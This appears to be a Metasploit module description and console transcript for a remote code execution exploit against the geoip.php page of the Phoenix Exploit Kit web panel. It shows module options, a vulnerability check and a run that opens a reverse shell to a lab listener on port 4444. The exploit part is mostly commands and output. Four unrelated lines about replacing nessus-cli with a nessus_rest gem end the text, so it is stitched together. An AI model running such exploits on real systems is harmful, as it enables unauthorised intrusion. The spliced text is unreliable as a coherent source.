This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit Remote Code Execution via the geoip.php. The Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which then silently installs malware.
```
msf exploit(phoenix_exec) > show options
Module options (exploit/multi/http/phoenix_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.52.128 yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /Phoenix/includes/geoip.php yes The path of geoip.php which is vulnerable to RCE
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.52.129 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Phoenix Exploit Kit / Unix
msf exploit(phoenix_exec) > check
[+] 192.168.52.128:80 The target is vulnerable.
msf exploit(phoenix_exec) > exploit
[*] Started reverse TCP double handler on 192.168.52.129:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo RZpbBEP77nS8Dvm4;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "RZpbBEP77nS8Dvm4\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 5 opened (192.168.52.129:4444 -> 192.168.52.128:51748) at 2016-08-19 09:29:22 -0400
uname -a
Linux ubuntu 4.4.0-28-generic #47-Ubuntu SMP Fri Jun 24 10:08:35 UTC 2016 i686 i686 i686 GNU/Linux
```
Rationale is following:
nessus-cli is obsolete
nessus is using json rest api instead of xmlrpc
xmlrpc name is therefore obsolete
Solution: with minimal changes start using nessus_rest gem.